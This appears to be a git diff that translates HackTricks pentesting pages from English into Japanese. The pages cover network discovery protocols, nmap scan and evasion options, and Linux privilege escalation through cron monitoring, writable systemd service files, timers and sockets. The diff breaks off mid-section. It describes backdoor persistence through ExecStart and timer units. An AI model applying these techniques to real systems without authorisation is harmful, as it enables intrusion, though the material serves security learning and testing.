+**mDNS**プロトコルは、専用のネームサーバーなしで小規模なローカルネットワーク内でのIPアドレス解決のために設計されています。これは、サブネット内でクエリをマルチキャストすることによって機能し、指定された名前を持つホストがそのIPアドレスで応答するよう促します。サブネット内のすべてのデバイスは、この情報でmDNSキャッシュを更新できます。 -Key points to note: +注意すべき重要なポイント: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **ドメイン名の放棄**: ホストはTTLがゼロのパケットを送信することでドメイン名を放棄できます。 +- **使用制限**: mDNSは通常、**.local**で終わる名前のみを解決します。このドメイン内の非mDNSホストとの競合は、ネットワーク設定の調整を必要とします。 +- **ネットワークの詳細**: +- イーサネットマルチキャストMACアドレス: IPv4 - `01:00:5E:00:00:FB`、IPv6 - `33:33:00:00:00:FB`。 +- IPアドレス: IPv4 - `224.0.0.251`、IPv6 - `ff02::fb`。 +- UDPポート5353で動作します。 +- mDNSクエリはローカルネットワークに制限され、ルーターを越えません。 -## DNS-SD (Service Discovery) +## DNS-SD (サービス発見) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SDは、特定のドメイン名(例: `_printers._tcp.local`)をクエリすることによってネットワーク上のサービスを発見するためのプロトコルです。応答には、関連するすべてのドメインが含まれます。この場合、利用可能なプリンターが含まれます。サービスの種類の包括的なリストは[こちら](http://www.dns-sd.org/ServiceTypes.html)で見つけることができます。 -## SSDP (Simple Service Discovery Protocol) +## SSDP (シンプルサービス発見プロトコル) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDPはネットワークサービスの発見を促進し、主にUPnPによって利用されます。これは、ポート1900上のUDPを使用するテキストベースのプロトコルで、マルチキャストアドレッシングを使用します。IPv4の場合、指定されたマルチキャストアドレスは`239.255.255.250`です。SSDPの基盤は[HTTPU](https://en.wikipedia.org/wiki/HTTPU)で、UDP用のHTTPの拡張です。 -## Web Service for Devices (WSD) +## デバイス用Webサービス (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +ネットワークに接続されたデバイスは、Webサービス用デバイス (WSD) を通じて、プリンターなどの利用可能なサービスを特定できます。これは、UDPパケットをブロードキャストすることを含みます。サービスを求めるデバイスはリクエストを送信し、サービスプロバイダーは自らの提供を発表します。 ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0は、サービス間でのユーザー情報の安全で選択的な共有を促進するプロトコルです。たとえば、複数のログインなしでGoogleからユーザーデータにアクセスできるようにします。このプロセスには、ユーザー認証、ユーザーによる承認、およびGoogleによるトークン生成が含まれ、サービスが指定されたユーザーデータにアクセスできるようになります。 ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (リモート認証ダイヤルインユーザーサービス) は、主にISPによって使用されるネットワークアクセスプロトコルです。認証、承認、および会計をサポートします。ユーザーの資格情報はRADIUSサーバーによって確認され、追加のセキュリティのためにネットワークアドレスの確認が含まれる場合があります。認証後、ユーザーはネットワークアクセスを受け取り、セッションの詳細は請求および統計目的で追跡されます。 -## SMB and NetBIOS +## SMBとNetBIOS -### SMB (Server Message Block) +### SMB (サーバーメッセージブロック) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMBは、ファイル、プリンター、およびポートを共有するためのプロトコルです。これは、TCP (ポート445) 上で直接動作するか、TCP上のNetBIOS (ポート137、138) を介して動作します。この二重互換性は、さまざまなデバイスとの接続性を向上させます。 -### NetBIOS (Network Basic Input/Output System) +### NetBIOS (ネットワーク基本入出力システム) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOSは、リソース共有のためのネットワークセッションと接続を管理します。デバイスのユニークな名前と複数のデバイスのグループ名をサポートし、ターゲットメッセージングまたはブロードキャストメッセージングを可能にします。通信は、接続なし(確認なし)または接続指向(セッションベース)で行うことができます。NetBIOSは伝統的にIPC/IPXのようなプロトコル上で動作しますが、TCP/IP上で一般的に使用されます。関連するプロトコルであるNetBEUIは、その速度で知られていますが、ブロードキャストのためにかなり冗長でもありました。 -## LDAP (Lightweight Directory Access Protocol) +## LDAP (軽量ディレクトリアクセスプロトコル) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAPは、TCP/IP上でディレクトリ情報の管理とアクセスを可能にするプロトコルです。ディレクトリ情報をクエリおよび変更するためのさまざまな操作をサポートします。主に、分散ディレクトリ情報サービスへのアクセスと維持に利用され、LDAP通信用に設計されたデータベースとの相互作用を可能にします。 ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directoryは、ユーザー、グループ、特権、およびリソースなどのオブジェクトを含むネットワークアクセス可能なデータベースで、ネットワークエンティティの集中管理を促進します。ADは、そのデータをドメインの階層構造に整理し、サーバー、グループ、およびユーザーを含むことができます。サブドメインはさらにセグメンテーションを可能にし、それぞれが独自のサーバーとユーザーベースを維持する可能性があります。この構造は、ユーザー管理を集中化し、ネットワークリソースへのアクセスを付与または制限します。特定の情報(連絡先の詳細など)を取得したり、ドメイン内のリソース(プリンターなど)を見つけたりするためにクエリを行うことができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..9933fcd4e 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Nmapの概要 (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## パラメータ -## Parameters +### スキャンするIP -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** IPを直接指定 - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: ランダムなIPの数、`--exclude `または`--excludefile `で除外可能。 -### Equipment discovery +### 機器発見 -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +デフォルトでは、Nmapは次のような発見フェーズを開始します: `-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: 非侵襲的で、ターゲットをリストし、名前を解決するために**DNS**リクエストを行います。例えば、www.prueba.es/24のすべてのIPがターゲットであるかどうかを知るのに役立ちます。 +- **`-Pn`**: **Pingなし**。すべてがアクティブであることがわかっている場合に便利です(そうでない場合、多くの時間を失う可能性がありますが、このオプションはアクティブでないと誤って判断することもあります)、発見フェーズを防ぎます。 +- **`-sn`** : **ポートスキャンなし**。偵察フェーズが完了した後、ポートをスキャンしません。比較的ステルスで、小規模なネットワークスキャンを許可します。特権がある場合、80にACK(-PA)、443にSYN(-PS)、エコーリクエストとタイムスタンプリクエストを送信し、特権がない場合は常に接続を完了します。ターゲットがネットワークの場合、ARP(-PR)のみを使用します。他のオプションと一緒に使用した場合、他のオプションのパケットのみがドロップされます。 +- **`-PR`**: **Ping ARP**。ネットワーク内のコンピュータを分析する際にデフォルトで使用され、pingを使用するよりも速いです。ARPパケットを使用したくない場合は、`--send-ip`を使用します。 +- **`-PS `**: SYNパケットを送信し、SYN/ACKで応答すればオープン(RSTで応答して接続を終了しない)、RSTで応答すればクローズ、応答がなければ到達不能です。特権がない場合は、自動的に完全接続が使用されます。ポートが指定されていない場合、80に送信されます。 +- **`-PA `**: 前のものと同様ですがACKを使用し、両方を組み合わせることでより良い結果が得られます。 +- **`-PU `**: 目的は逆で、クローズされていると予想されるポートに送信されます。一部のファイアウォールはTCP接続のみをチェックします。クローズされている場合はポート到達不能で応答し、他のICMPで応答するか応答がない場合は到達不能と見なされます。 +- **`-PE, -PP, -PM`** : ICMP PINGS: エコー応答、タイムスタンプ、アドレスマスク。ターゲットがアクティブかどうかを確認するために送信されます。 +- **`-PY`**: デフォルトで80にSCTP INITプローブを送信し、INIT-ACK(オープン)またはABORT(クローズ)または何も返さないかICMP到達不能(非アクティブ)で応答される可能性があります。 +- **`-PO `**: ヘッダーにプロトコルを指定し、デフォルトは1(ICMP)、2(IGMP)、4(Encap IP)です。ICMP、IGMP、TCP(6)、UDP(17)プロトコルの場合、プロトコルヘッダーが送信され、その他はIPヘッダーのみが送信されます。これは、ヘッダーの不正形成により、プロトコル到達不能または同じプロトコルの応答が返され、稼働しているかどうかを知るためです。 +- **`-n`**: DNSなし +- **`-R`**: 常にDNS -### Port scanning techniques +### ポートスキャン技術 -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: 接続を完了しないため、痕跡を残さず、使用できる場合は非常に良いです。(特権あり)デフォルトで使用されます。 +- **`-sT`**: 接続を完了するため、痕跡を残しますが、確実に使用できます。デフォルトでは特権なし。 +- **`-sU`**: 遅い、UDP用。主に: DNS(53)、SNMP(161,162)、DHCP(67および68)、(-sU53,161,162,67,68):オープン(応答)、クローズ(ポート到達不能)、フィルタリング(他のICMP)、オープン/フィルタリング(何もなし)。オープン/フィルタリングの場合、-sVはnmapがサポートするバージョンを検出するために多数のリクエストを送信し、真の状態を検出できます。時間が大幅に増加します。 +- **`-sY`**: SCTPプロトコルが接続を確立できないため、ログは残りません。-PYのように機能します。 +- **`-sN,-sX,-sF`:** Null、Fin、Xmas、いくつかのファイアウォールを突破し、情報を抽出できます。標準準拠のマシンは、SYN、RST、またはACKラグがないすべてのリクエストにRSTで応答するはずです: オープン/フィルタリング(何もなし)、クローズ(RST)、フィルタリング(ICMP到達不能)。Windows、Cisco、BSDI、OS/400では信頼性がありません。Unixでは信頼性があります。 +- **`-sM`**: Maimonスキャン: FINおよびACKフラグを送信し、BSD用に使用され、現在はすべてをクローズとして返します。 +- **`-sA, sW`**: ACKおよびウィンドウ、ファイアウォールを検出するために使用され、ポートがフィルタリングされているかどうかを知るために使用されます。-sWはオープン/クローズを区別します。オープンは異なるウィンドウ値で応答します: オープン(ウィンドウが0以外のRST)、クローズ(RSTウィンドウ=0)、フィルタリング(ICMP到達不能または何もなし)。すべてのコンピュータがこのように機能するわけではないため、すべてがクローズされている場合は機能していないことになります。いくつかがオープンであれば正常に機能しており、多くがオープンで少数がクローズされている場合は逆に機能しています。 +- **`-sI`:** Idleスキャン。アクティブなファイアウォールがあるが、特定のIPに対してフィルタリングしないことがわかっている場合(または単に匿名性を求める場合)、ゾンビスキャナーを使用できます(すべてのポートに機能します)。可能なゾンビを探すために、スクリプトipidseqまたはexploit auxiliary/scanner/ip/ipidseqを使用できます。このスキャナーはIPパケットのIPID番号に基づいています。 +- **`--badsum`:** 不正な合計を送信し、コンピュータはパケットを破棄しますが、ファイアウォールは何かに応答する可能性があります。ファイアウォールを検出するために使用されます。 +- **`-sZ`:** "奇妙な" SCTPスキャナー、クッキーエコーフラグメントを持つプローブを送信すると、オープンの場合は破棄され、クローズの場合はABORTで応答する必要があります。initを通過しないファイアウォールを通過できますが、フィルタリングとオープンを区別しません。 +- **`-sO`:** プロトコルIPスキャン。時にはプロトコルさえも区別できない不正または空のヘッダーを送信します。ICMP到達不能プロトコルが到着すればクローズ、到達不能ポートが到着すればオープン、他のエラーが到着すればフィルタリング、何も到着しなければオープン|フィルタリングです。 +- **`-b `:** FTPhost--> 他のホストからスキャンするために使用され、別のマシンのftpに接続し、スキャンしたいポートにファイルを送信するように依頼します。応答に応じて、オープンかどうかがわかります。 \[\:\@]\\[:\] ほとんどのftpサーバーはこれを許可しなくなっているため、実用的な用途はほとんどありません。 -### **Focus Analysis** +### **フォーカス分析** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** スキャンするポートを指定するために使用されます。すべての65,335ポートを選択するには: **-p-** または **-p all**。Nmapは人気に基づいた内部分類を持っています。デフォルトでは、上位1000ポートを使用します。**-F**(高速スキャン)を使用すると、上位100ポートを分析します。**--top-ports **を使用すると、その数の上位ポートを分析します(1から65,335まで)。ポートをランダムな順序でチェックします。これを防ぐには、**-r**を使用します。特定のポートを選択することもできます: 20-30,80,443,1024-(後者は1024以降を探すことを意味します)。プロトコルによってポートをグループ化することもできます: U:53,T:21-25,80,139,S:9。Nmapの人気ポート内で範囲を選択することもできます: -p [-1024]はnmap-servicesに含まれるポート1024までを分析します。**--port-ratio **は、0から1の比率内で最も一般的なポートを分析します。 -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** バージョンスキャン、強度は0から9まで調整可能で、デフォルトは7です。 -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** 強度を調整し、低いほど最も可能性の高いプローブのみを発射しますが、すべてではありません。これにより、UDPスキャン時間を大幅に短縮できます。 -**-O** OS detection +**-O** OS検出 -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** 適切なホストスキャンには、少なくとも1つのオープンポートと1つのクローズポートが必要です。この条件が満たされていない場合、OS予測を試みません(時間を節約します)。 -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** OS検出が完璧でない場合、これによりより努力します。 -**Scripts** +**スクリプト** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +デフォルトのスクリプトを使用するには、-sCまたは--script=defaultを使用します。 -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +利用可能なタイプは: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, および vulnです。 -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** 利用可能なすべての認証スクリプトを実行します。 +- **Default:** 基本的なデフォルトツールスクリプトを実行します。 +- **Discovery:** ターゲットまたは被害者から情報を取得します。 +- **External:** 外部リソースを使用するためのスクリプト。 +- **Intrusive:** 被害者またはターゲットに対して侵入的と見なされるスクリプトを使用します。 +- **Malware:** 悪意のあるコードやバックドアによって開かれた接続をチェックします。 +- **Safe:** 非侵入的なスクリプトを実行します。 +- **Vuln:** 最も知られている脆弱性を発見します。 +- **All:** 利用可能なすべてのNSE拡張スクリプトを実行します。 -To search for scripts: +スクリプトを検索するには: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> http-で始まるもの** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> それ以外のすべて** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> どちらか両方のもの** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> 両方のもの** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,135 +94,135 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> スクリプトの進行状況に関する情報を提供します。 --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**スクリプトを使用するには、次のように入力します: nmap --script Script_Name target** --> スクリプトを使用すると、スクリプトとスキャナーの両方が実行されるため、スキャナーオプションも追加できます。**"safe=1"**を追加して、安全なもののみを実行できます。 -**Time Control** +**時間制御** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmapは秒、分、ミリ秒で時間を変更できます:** --host-timeout引数900000ms、900、900s、15mはすべて同じことをします。 -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmapはスキャンするホストの総数をグループに分け、これらのグループをブロックで分析します。すべてが分析されるまで次のブロックに移動せず(ユーザーはブロックが分析されるまで更新を受け取りません)、Nmapが大きなグループを使用する方が最適です。デフォルトではクラスCで256を使用します。 -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +これは**--min-hostgroup** _****_**;** **--max-hostgroup** _****_で変更できます(並列スキャングループサイズを調整)。 -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +並列スキャナーの数を制御できますが、あまり推奨されません(Nmapはネットワークの状態に基づいて自動制御を組み込んでいます): **--min-parallelism** _****_**;** **--max-parallelism** _****_ -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
1分、2分、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。 -例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: +例えば、**1分間に0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます**(これは開始するすべてのプロセスを監視してリストします)。 +**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これにより、開始されるすべてのプロセスが監視され、リストされます)。 ### 見えないcronジョブ @@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**、サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(おそらく、マシンが再起動されるまで待つ必要があります)。\ -例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 +任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにすることが**できます**(おそらく、マシンが再起動されるまで待つ必要があります)。\ +例えば、`.service` ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 ### 書き込み可能なサービスバイナリ -サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更できることを念頭に置いてください。そうすれば、サービスが再実行されるとバックドアが実行されます。 +サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更することができるため、サービスが再実行されるとバックドアが実行されます。 ### systemd PATH - 相対パス @@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -もしパスのフォルダのいずれかに**書き込む**ことができる場合、**特権を昇格**させることができるかもしれません。次のような**サービス設定**ファイルで使用されている**相対パス**を探す必要があります: +もし、パスのフォルダのいずれかに**書き込む**ことができる場合、**特権を昇格**させることができるかもしれません。次のようなサービス設定ファイルで使用されている**相対パス**を探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -405,9 +405,9 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ## **タイマー** -**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用できます。また、非同期で実行できます。 +**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用でき、非同期で実行できます。 -すべてのタイマーを列挙するには、次のコマンドを使用します: +すべてのタイマーを列挙するには、次のコマンドを使用します: ```bash systemctl list-timers --all ``` @@ -417,20 +417,20 @@ systemctl list-timers --all ```bash Unit=backdoor.service ``` -ドキュメントでは、Unitについて次のように説明されています: +ドキュメントでは、ユニットについて次のように説明されています: -> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマー単位と同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマー単位のユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。 +> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は ".timer" ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。 したがって、この権限を悪用するには、次のことが必要です: -- **書き込み可能なバイナリを実行している**systemdユニット(例えば、`.service`)を見つける -- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため) +- **書き込み可能なバイナリを実行している** systemd ユニット(例えば `.service`)を見つける +- **相対パスを実行している** systemd ユニットを見つけ、**systemd PATH** に対して **書き込み権限** を持つ(その実行可能ファイルを偽装するため) **タイマーについて詳しくは `man systemd.timer` を参照してください。** ### **タイマーの有効化** -タイマーを有効にするには、root権限が必要で、次のコマンドを実行します: +タイマーを有効にするには、root 権限が必要で、次のコマンドを実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -447,18 +447,18 @@ Unixドメインソケット(UDS)は、クライアント-サーバーモデ - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 - `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットのみが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。 +- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**されてバインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**て削除される前または後に**実行される**追加の**コマンド**です。 - `Service`: 